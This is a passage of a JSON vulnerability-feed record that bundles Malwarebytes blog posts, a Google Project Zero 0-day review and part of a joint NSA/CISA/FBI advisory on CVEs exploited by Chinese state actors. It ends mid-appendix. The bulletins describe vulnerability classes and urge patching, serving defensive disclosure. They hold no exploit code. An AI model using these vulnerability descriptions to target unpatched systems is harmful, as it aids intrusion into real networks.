2021](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>).\n * [CVE-2021-44228](<https://vulners.com/cve/CVE-2021-44228>), aka [Log4Shell](<https://www.malwarebytes.com/blog/news/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend>), is a vulnerability in Apache's Log4j library, an open-source logging framework incorporated into thousands of other products. Malicious cyber actors began exploiting the vulnerability after it was publicly disclosed in December 2021, and continued to show high interest throughout the first half of 2022.\n * [CVE-2018-13379](<https://vulners.com/cve/CVE-2018-13379>) is a vulnerability affecting Fortinet SSL VPNs, which was also routinely exploited in 2020 and 2021.\n * [ProxyShell](<https://www.malwarebytes.com/blog/news/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities>) is a combination of three vulnerabilities in Microsoft Exchange Server ([CVE-2021-34473](<https://vulners.com/cve/CVE-2021-34473>), [CVE-2021-31207](<https://vulners.com/cve/CVE-2021-31207>), and [CVE-2021-34523](<https://vulners.com/cve/CVE-2021-34523>)) that can be chained together to allow a remote attacker to break in, take control, and then do bad things on an unpatched server. Proxyshell also made it into the top 5 routinely exploited vulnerabilities of 2021.\n * [CVE-2021-26084](<https://vulners.com/cve/CVE-2021-26084>) is a vulnerability affecting Atlassian Confluence Server and Data Center which could enable an unauthenticated cyber actor to execute arbitrary code on vulnerable systems. This vulnerability quickly became one of the most routinely exploited vulnerabilities after a proof-of-concept (PoC) was released within a week of its disclosure. Attempted mass exploitation of this vulnerability was observed in September 2021 and also made it into the top 5 routinely exploited vulnerabilities of 2021.\n\nLooking at the above, it looks like Shaw was at least partly right. We are not learning from history. It also indicates that we should be able to predict some of the vulnerabilities that will show up in next year's list. Let's take a stab at that. So we're looking for easy to overlook and/or hard to patch vulnerabilities in the 2022 list that we haven't already covered above.\n\n## This year's top vulnerabilities?\n\nThese are the ones that I think will make it to the top 10 next year, maybe together with the ones that have already been around for years.\n\n * [CVE-2022-22954](<https://vulners.com/cve/CVE-2022-22954>), [CVE-2022-22960](<https://vulners.com/cve/CVE-2022-22960>) are two vulnerabilities that can be chained to allow Remote Code Execurion (RCE), privilege escalation, and authentication bypass in VMware Workspace ONE Access, Identity Manager, and other VMware products. Exploitation of these [VMware vulnerabilities](<https://www.malwarebytes.com/blog/news/2022/05/vmware-vulnerabilities-are-actively-being-exploited-cisa-warns>) began in early 2022 and attempts continued throughout the remainder of the year.\n * [CVE-2022-26134](<https://vulners.com/cve/CVE-2022-26134>) is a critical RCE vulnerability that affects Atlassian Confluence and Data Center. The vulnerability, which was likely initially exploited as a zero-day before public disclosure in June 2022, is related to an older Confluence vulnerability (see CVE-2021-26084 above), which cyber actors also exploited in 2022.\n * [CVE-2022-1388](<https://vulners.com/cve/CVE-2022-1388>) is a vulnerability in the F5 [BIG IP platform](<https://www.malwarebytes.com/blog/news/2022/05/update-now-exploits-are-active-for-f5-big-ip-vulnerability>) that allows attackers to bypass authentication on internet-exposed iControl interfaces, potentially executing arbitrary commands, creating or deleting files, or disabling services.\n * [CVE-2022-30190](<https://vulners.com/cve/CVE-2022-30190>), aka [Follina](<https://www.malwarebytes.com/blog/news/2022/06/faq-mitigating-microsoft-offices-follina-zero-day>), is a Microsoft Windows Support Diagnostic Tool RCE vulnerability. An attacker can send you a malicious Office document that will compromise your machine with malware when you open it.\n\nSo I was hoping we can strike a deal. I'll check next year how well this prediction does and you all patch these vulnerabilities real quick, so I can write about some new ones next year.\n\n* * *\n\n**We don't just report on vulnerabilities--we identify them, and prioritize action.**\n\nCybersecurity risks should never spread beyond a headline. Keep vulnerabilities in tow by using [Malwarebytes Vulnerability and Patch Management](<https://www.malwarebytes.com/business/vulnerability-patch-management>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-08-07T18:30:00", "type": "malwarebytes", "title": "2022's most routinely exploited vulnerabilities\u2014history repeats", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-26084", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-22954", "CVE-2022-22960", "CVE-2022-26134", "CVE-2022-30190"], "modified": "2023-08-07T18:30:00", "id": "MALWAREBYTES:8922C922FFDE8B91C7154D8C990B62EF", "href": "https://www.malwarebytes.com/blog/news/2023/08/the-2022-top-routinely-exploited-vulnerabilities-history-repeats", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-14T00:05:09", "description": "In [a joint cybersecurity advisory](<https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3181261/nsa-cisa-fbi-reveal-top-cves-exploited-by-chinese-state-sponsored-actors/>), the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have revealed the top CVEs used by state-sponsored threat actors from China.\n\nThe advisory aims to \"inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).\"\n\nThe US and other allied nations consider China a cyber threat as it continues to target and attack companies in the US and elsewhere, with the primary aim of stealing intellectual property or gaining access to sensitive networks. The usual targets range from organizations in the IT sector, including telecommunications service providers; the [DIB (Defense Industrial Base)](<https://www.cisa.gov/defense-industrial-base-sector>) sector, which is related to military weapons systems; and other critical infrastructure sectors.\n\nIt is no surprise, then, that a majority of the CVEs revealed are for flaws allowing actors to surreptitiously and unlawfully gain access to networks. Within these networks, they establish persistence and move laterally to other connected systems.\n\nThe advisory is part of a concerted effort by US government agencies, particularly CISA, to push companies into getting on top of their patching. Part of that is getting them to patch much faster, and the other is getting them to focus on patching the vulnerabilities that threat actors are known to use.\n\nLast year, CISA [began publishing a catalog of actively exploited vulnerabilities](<https://www.malwarebytes.com/blog/news/2021/11/cisa-sets-two-week-window-for-patching-serious-vulnerabilities>) that need ot be patched within two weeks on federal information systems. The agencies behind this latest advisory have also collaborated in the past on a list of [vulnerabilities favored by Russian state-sponsored threat actors](<https://www.malwarebytes.com/blog/news/2021/04/patch-now-nsa-cisa-and-fbi-warn-of-russian-intelligence-exploiting-5-vulnerabilities>).\n\nIf your organization's intellectual property is likely to be of interest to China, this is list is for you. And if it isn't, this list is still worth paying attention to.\n\n## The vunerabilities\n\n### Remote code execution (RCE)\n\nRCE flaws let attackers execute malicious code on a compromised, remote computer. The advisory identifies 12 RCEs: [CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>) (also known as [Log4Shell or LogJam](<https://www.malwarebytes.com/blog/news/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend>)), [CVE-2021-22205](<https://www.malwarebytes.com/blog/news/2021/09/patch-vcenter-server-right-now-vmware-expects-cve-2021-22005-exploitation-within-minutes-of-disclosure>), [CVE-2022-26134](<https://www.malwarebytes.com/blog/news/2022/06/unpatched-atlassian-confluence-vulnerability-is-actively-exploited>), [CVE-2021-26855](<https://www.malwarebytes.com/blog/news/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi>), [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>), [CVE-2021-26084](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-42237](<https://nvd.nist.gov/vuln/detail/CVE-2021-42237>), [CVE-2022-1388](<https://www.malwarebytes.com/blog/news/2022/05/update-now-exploits-are-active-for-f5-big-ip-vulnerability>), [CVE-2021-40539](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-26857](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-26858](<https://www.malwarebytes.com/blog/news/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days>), and [CVE-2021-27065](<https://www.malwarebytes.com/blog/news/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days>).\n\n### Arbitrary file read\n\nThe advisory identifies two arbitrary file read flaws--[CVE-2019-11510](<https://www.malwarebytes.com/blog/business/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind>) and [CVE-2021-22005](<https://www.malwarebytes.com/blog/news/2021/09/patch-vcenter-server-right-now-vmware-expects-cve-2021-22005-exploitation-within-minutes-of-disclosure>)--which allow users or malicious programs with low privileges to read (but not write) any file on the affected system or server. Useful for stealing data.\n\n### Authentication bypass by spoofing\n\n[CVE-2022-24112](<https://nvd.nist.gov/vuln/detail/CVE-2022-24112>) is an authentication bypass flaw that allows attackers to access resources they shouldn't have access to by spoofing an IP address.\n\n### Command injection\n\n[CVE-2021-36260](<https://www.malwarebytes.com/blog/news/2022/08/thousands-of-hikvision-video-cameras-remain-unpatched-and-vulnerable-to-takeover>) is a command injection flaw that allows attackers to execute commands of their own choosing on an affected system. A vulnerable app is usually involved in such attacks.\n\n### Command line execution\n\n[CVE-2021-1497](<https://nvd.nist.gov/vuln/detail/CVE-2021-1497>) is a command injection flaw that allows attackers to inject data into an affected system's command line.\n\n### Path Traversal\n\nAlso known as \"directory traversal,\" these flaws allow attackers to read, and possibly write to, restricted files by inputting path traversal sequences like `../` into file or directory paths. [CVE-2019-19781](<https://www.malwarebytes.com/blog/news/2021/06/atomic-research-institute-breached-via-vpn-vulnerability>), [CVE-2021-41773](<https://www.malwarebytes.com/blog/news/2021/10/apache-http>), and [CVE-2021-20090](<https://www.malwarebytes.com/blog/news/2021/08/home-routers-are-being-hijacked-using-vulnerability-disclosed-just-2-days-ago>) are all forms of path traversal attack.\n\n## Mitigations\n\nThe NSA, CISA, and FBI urge organizations to undertake the following mitigations:\n\n * * Apply patches as they come, prioritizing the most critical l flaws in your environment.\n * Use multi-factor authentication.\n * Require the use of strong, unique passwords.\n * Upgrade or replace software or devices that are at, or close to, their end of life.\n * Consider adopting a [zero-trust security model](<https://www.malwarebytes.com/blog/news/2020/01/explained-the-strengths-and-weaknesses-of-the-zero-trust-model>).\n * Monitor and log Internet-facing systems for abnormal activity.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-13T16:15:00", "type": "malwarebytes", "title": "Chinese APT's favorite vulnerabilities revealed", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134"], "modified": "2022-10-13T16:15:00", "id": "MALWAREBYTES:D081BF7F95E3F31C6DB8CEF9AD86BD0D", "href": "https://www.malwarebytes.com/blog/news/2022/10/psa-chinese-apts-target-flaws-that-take-full-control-of-systems", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "googleprojectzero": [{"lastseen": "2023-08-12T02:03:44", "description": "Posted by Maddie Stone, Google Project Zero\n\nThis blog post is an overview of a talk, \u201c 0-day In-the-Wild Exploitation in 2022\u2026so far\u201d, that I gave at the FIRST conference in June 2022. The slides are available [here](<https://github.com/maddiestone/ConPresentations/blob/master/FIRST2022.2022_0days_so_far.pdf>).\n\nFor the last three years, we\u2019ve published annual year-in-review reports of 0-days found exploited in the wild. The most recent of these reports is the [2021 Year in Review report](<https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html>), which we published just a few months ago in April. While we plan to stick with that annual cadence, we\u2019re publishing a little bonus report today looking at the in-the-wild 0-days detected and disclosed in the first half of 2022. \n\nAs of June 15, 2022, there have been 18 0-days detected and disclosed as exploited in-the-wild in 2022. When we analyzed those 0-days, we found that at least nine of the 0-days are variants of previously patched vulnerabilities. At least half of the 0-days we\u2019ve seen in the first six months of 2022 could have been prevented with more comprehensive patching and regression tests. On top of that, four of the 2022 0-days are variants of 2021 in-the-wild 0-days. Just 12 months from the original in-the-wild 0-day being patched, attackers came back with a variant of the original bug. \n\nProduct\n\n| \n\n2022 ITW 0-day\n\n| \n\nVariant \n \n---|---|--- \n \nWindows win32k\n\n| \n\n[CVE-2022-21882](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-21882.html>)\n\n| \n\n[CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>) (2021 itw) \n \niOS IOMobileFrameBuffer\n\n| \n\n[CVE-2022-22587](<https://support.apple.com/en-us/HT213053>)\n\n| \n\n[CVE-2021-30983](<https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html>) (2021 itw) \n \nWindows\n\n| \n\n[CVE-2022-30190](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190>) (\u201cFollina\u201d)\n\n| \n\n[CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) (2021 itw) \n \nChromium property access interceptors\n\n| \n\n[CVE-2022-1096](<https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html>)\n\n| \n\n[CVE-2016-5128](<https://bugs.chromium.org/p/chromium/issues/detail?id=619166>) [CVE-2021-30551](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30551.html>) (2021 itw) [CVE-2022-1232](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2280>) (Addresses incomplete CVE-2022-1096 fix) \n \nChromium v8\n\n| \n\n[CVE-2022-1364](<https://chromereleases.googleblog.com/2022/04/stable-channel-update-for-desktop_14.html>)\n\n| \n\n[CVE-2021-21195](<https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_30.html>) \n \nWebKit\n\n| \n\n[CVE-2022-22620](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-22620.html>) (\u201cZombie\u201d)\n\n| \n\n[Bug was originally fixed in 2013, patch was regressed in 2016](<https://googleprojectzero.blogspot.com/2022/06/an-autopsy-on-zombie-in-wild-0-day.html>) \n \nGoogle Pixel\n\n| \n\n[CVE-2021-39793](<https://source.android.com/security/bulletin/pixel/2022-03-01>)*\n\n* While this CVE says 2021, the bug was patched and disclosed in 2022\n\n| \n\n[Linux same bug in a different subsystem](<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cd5297b0855f17c8b4e3ef1d20c6a3656209c7b3>) \n \nAtlassian Confluence\n\n| \n\n[CVE-2022-26134](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>)\n\n| \n\n[CVE-2021-26084](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) \n \nWindows\n\n| \n\n[CVE-2022-26925](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26925>) (\u201cPetitPotam\u201d)\n\n| \n\n[CVE-2021-36942](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>) (Patch regressed) \n \nSo, what does this mean?\n\nWhen people think of 0-day exploits, they often think that these exploits are so technologically advanced that there\u2019s no hope to catch and prevent them. The data paints a different picture. At least half of the 0-days we\u2019ve seen so far this year are closely related to bugs we\u2019ve seen before. Our conclusion and findings in the [2020 year-in-review report](<https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html>) were very similar.\n\nMany of the 2022 in-the-wild 0-days are due to the previous vulnerability not being fully patched. In the case of the Windows win32k and the Chromium property access interceptor bugs, the execution flow that the proof-of-concept exploits took were patched, but the root cause issue was not addressed: attackers were able to come back and trigger the original vulnerability through a different path. And in the case of the WebKit and Windows PetitPotam issues, the original vulnerability had previously been patched, but at some point regressed so that attackers could exploit the same vulnerability again. In the iOS IOMobileFrameBuffer bug, a buffer overflow was addressed by checking that a size was less than a certain number, but it didn\u2019t check a minimum bound on that size. For more detailed explanations of three of the 0-days and how they relate to their variants, please see the [slides from the talk](<https://github.com/maddiestone/ConPresentations/blob/master/FIRST2022.2022_0days_so_far.pdf>).\n\nWhen 0-day exploits are detected in-the-wild, it\u2019s the failure case for an attacker. It\u2019s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can\u2019t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they\u2019re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. To do that effectively, we need correct and comprehensive fixes.\n\nThis is not to minimize the challenges faced by security teams responsible for responding to vulnerability reports. As we said in our 2020 year in review report: \n\nBeing able to correctly and comprehensively patch isn't just flicking a switch: it requires investment, prioritization, and planning. It also requires developing a patching process that balances both protecting users quickly and ensuring it is comprehensive, which can at times be in tension. While we expect that none of this will come as a surprise to security teams in an organization, this analysis is a good reminder that there is still more work to be done. \n\nExactly what investments are likely required depends on each unique situation, but we see some common themes around staffing/resourcing, incentive structures, process maturity, automation/testing, release cadence, and partnerships.\n\nPractically, some of the following efforts can help ensure bugs are correctly and comprehensively fixed. Project Zero plans to continue to help with the following efforts, but we hope and encourage platform security teams and other independent security researchers to invest in these types of analyses as well:\n\n * Root cause analysis\n\nUnderstanding the underlying vulnerability that is being exploited. Also tries to understand how that vulnerability may have been introduced. Performing a root cause analysis can help ensure that a fix is addressing the underlying vulnerability and not just breaking the proof-of-concept. Root cause analysis is generally a pre-requisite for successful variant and patch analysis.\n\n * Variant analysis\n\nLooking for other vulnerabilities similar to the reported vulnerability. This can involve looking for the same bug pattern elsewhere, more thoroughly auditing the component that contained the vulnerability, modifying fuzzers to understand why they didn\u2019t find the vulnerability previously, etc. Most researchers find more than one vulnerability at the same time. By finding and fixing the related variants, attackers are not able to simply \u201cplug and play\u201d with a new vulnerability once the original is patched.\n\n * Patch analysis\n\nAnalyzing the proposed (or released) patch for completeness compared to the root cause vulnerability. I encourage vendors to share how they plan to address the vulnerability with the vulnerability reporter early so the reporter can analyze whether the patch comprehensively addresses the root cause of the vulnerability, alongside the vendor\u2019s own internal analysis.\n\n * Exploit technique analysis\n\nUnderstanding the primitive gained from the vulnerability and how it\u2019s being used. While it\u2019s generally industry-standard to patch vulnerabilities, mitigating exploit techniques doesn\u2019t happen as frequently. While not every exploit technique will always be able to be mitigated, the hope is that it will become the default rather than the exception. Exploit samples will need to be shared more readily in order for vendors and security researchers to be able to perform exploit technique analysis.\n\nTransparently sharing these analyses helps the industry as a whole as well. We publish our analyses at [this repository](<https://googleprojectzero.github.io/0days-in-the-wild/rca.html>). We encourage vendors and others to publish theirs as well. This allows developers and security professionals to better understand what the attackers already know about these bugs, which hopefully leads to even better solutions and security overall. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-30T00:00:00", "type": "googleprojectzero", "title": "\n2022 0-day In-the-Wild Exploitation\u2026so far\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-5128", "CVE-2021-1732", "CVE-2021-21195", "CVE-2021-26084", "CVE-2021-30551", "CVE-2021-30983", "CVE-2021-36942", "CVE-2021-39793", "CVE-2021-40444", "CVE-2022-1096", "CVE-2022-1232", "CVE-2022-1364", "CVE-2022-21882", "CVE-2022-22587", "CVE-2022-22620", "CVE-2022-26134", "CVE-2022-26925", "CVE-2022-30190"], "modified": "2022-06-30T00:00:00", "id": "GOOGLEPROJECTZERO:3B4F7E79DDCD0AFF3B9BB86429182DCA", "href": "https://googleprojectzero.blogspot.com/2022/06/2022-0-day-in-wild-exploitationso-far.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ics": [{"lastseen": "2023-09-09T20:52:48", "description": "### Summary\n\nThis joint Cybersecurity Advisory (CSA) provides the top Common Vulnerabilities and Exposures (CVEs) used since 2020 by People\u2019s Republic of China (PRC) state-sponsored cyber actors as assessed by the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI). PRC state-sponsored cyber actors continue to exploit known vulnerabilities to actively target U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks.\n\nThis joint CSA builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).\n\nNSA, CISA, and FBI urge U.S. and allied governments, critical infrastructure, and private sector organizations to apply the recommendations listed in the Mitigations section and Appendix A to increase their defensive posture and reduce the threat of compromise from PRC state-sponsored malicious cyber actors.\n\nFor more information on PRC state-sponsored malicious cyber activity, see CISA\u2019s [China Cyber Threat Overview and Advisories webpage](<https://www.cisa.gov/uscert/china>), FBI\u2019s [Industry Alerts](<https://www.ic3.gov/Home/IndustryAlerts>), and NSA\u2019s [Cybersecurity Advisories & Guidance](<https://www.nsa.gov/Press-Room/Cybersecurity-Advisories-Guidance/>). \n\nDownload the PDF version of this report: [pdf, 409 KB](<https://media.defense.gov/2022/Oct/06/2003092365/-1/-1/0/Joint_CSA_Top_CVEs_Exploited_by_PRC_cyber_actors_.PDF>)\n\n### Technical Details\n\nNSA, CISA, and FBI continue to assess PRC state-sponsored cyber activities as being one of the largest and most dynamic threats to U.S. government and civilian networks. PRC state-sponsored cyber actors continue to target government and critical infrastructure networks with an increasing array of new and adaptive techniques\u2014some of which pose a significant risk to Information Technology Sector organizations (including telecommunications providers), Defense Industrial Base (DIB) Sector organizations, and other critical infrastructure organizations.\n\nPRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target networks of interest. NSA, CISA, and FBI assess PRC state-sponsored cyber actors have actively targeted U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks. See Table 1 for the top used CVEs.\n\n_Table I: Top CVEs most used by Chinese state-sponsored cyber actors since 2020_\n\nVendor\n\n| \n\nCVE\n\n| \n\nVulnerability Type \n \n---|---|--- \n \nApache Log4j\n\n| \n\nCVE-2021-44228\n\n| \n\nRemote Code Execution \n \nPulse Connect Secure\n\n| \n\nCVE-2019-11510\n\n| \n\nArbitrary File Read \n \nGitLab CE/EE\n\n| \n\nCVE-2021-22205\n\n| \n\nRemote Code Execution \n \nAtlassian\n\n| \n\nCVE-2022-26134\n\n| \n\nRemote Code Execution \n \nMicrosoft Exchange\n\n| \n\nCVE-2021-26855\n\n| \n\nRemote Code Execution \n \nF5 Big-IP\n\n| \n\nCVE-2020-5902\n\n| \n\nRemote Code Execution \n \nVMware vCenter Server\n\n| \n\nCVE-2021-22005\n\n| \n\nArbitrary File Upload \n \nCitrix ADC\n\n| \n\nCVE-2019-19781\n\n| \n\nPath Traversal \n \nCisco Hyperflex\n\n| \n\nCVE-2021-1497\n\n| \n\nCommand Line Execution \n \nBuffalo WSR\n\n| \n\nCVE-2021-20090\n\n| \n\nRelative Path Traversal \n \nAtlassian Confluence Server and Data Center\n\n| \n\nCVE-2021-26084\n\n| \n\nRemote Code Execution \n \nHikvision Webserver\n\n| \n\nCVE-2021-36260\n\n| \n\nCommand Injection \n \nSitecore XP\n\n| \n\nCVE-2021-42237\n\n| \n\nRemote Code Execution \n \nF5 Big-IP\n\n| \n\nCVE-2022-1388\n\n| \n\nRemote Code Execution \n \nApache\n\n| \n\nCVE-2022-24112\n\n| \n\nAuthentication Bypass by Spoofing \n \nZOHO\n\n| \n\nCVE-2021-40539\n\n| \n\nRemote Code Execution \n \nMicrosoft\n\n| \n\nCVE-2021-26857\n\n| \n\nRemote Code Execution \n \nMicrosoft\n\n| \n\nCVE-2021-26858\n\n| \n\nRemote Code Execution \n \nMicrosoft\n\n| \n\nCVE-2021-27065\n\n| \n\nRemote Code Execution \n \nApache HTTP Server\n\n| \n\nCVE-2021-41773\n\n| \n\nPath Traversal \n \nThese state-sponsored actors continue to use virtual private networks (VPNs) to obfuscate their activities and target web-facing applications to establish initial access. Many of the CVEs indicated in Table 1 allow the actors to surreptitiously gain unauthorized access into sensitive networks, after which they seek to establish persistence and move laterally to other internally connected networks. For additional information on PRC state-sponsored cyber actors targeting network devices, please see [People\u2019s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices](<https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3055748/nsa-cisa-and-fbi-expose-prc-state-sponsored-exploitation-of-network-providers-d/>).\n\n### Mitigations\n\nNSA, CISA, and FBI urge organizations to apply the recommendations below and those listed in Appendix A.\n\n * Update and patch systems as soon as possible. Prioritize patching vulnerabilities identified in this CSA and other [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n * Utilize phishing-resistant multi-factor authentication whenever possible. Require all accounts with password logins to have strong, unique passwords, and change passwords immediately if there are indications that a password may have been compromised. \n * Block obsolete or unused protocols at the network edge. \n * Upgrade or replace end-of-life devices.\n * Move toward the Zero Trust security model. \n * Enable robust logging of Internet-facing systems and monitor the logs for anomalous activity. \n\n\n## Appendix A\n\n_Table II: Apache CVE-2021-44228_\n\nApache CVE-2021-44228 CVSS 3.0: 10 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nApache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against malicious actor controlled LDAP and other JNDI related endpoints. A malicious actor who can control log messages or log message parameters could execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects. \n \n_Recommended Mitigations_\n\n * Apply patches provided by vendor and perform required system updates. \n \n_Detection Methods_\n\n * See vendor\u2019s [Guidance For Preventing, Detecting, and Hunting for Exploitation of the Log4j 2 Vulnerability](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>). \n \n_Vulnerable Technologies and Versions_\n\nThere are numerous vulnerable technologies and versions associated with CVE-2021-44228. For a full list, check <https://nvd.nist.gov/vuln/detail/CVE-2021-44228>. \n \n_Table III: Pulse CVE-2019-11510_\n\nPulse CVE-2019-11510 CVSS 3.0: 10 (Critical) \n \n--- \n \n_Vulnerability Description_\n\nThis vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote malicious actor could send a specially crafted URI to perform an arbitrary file reading vulnerability. \n \n_Recommended Mitigations_\n\n * Apply patches provided by vendor and perform required system updates. \n \n_Detection Methods_\n\n * Use CISA\u2019s \u201cCheck Your 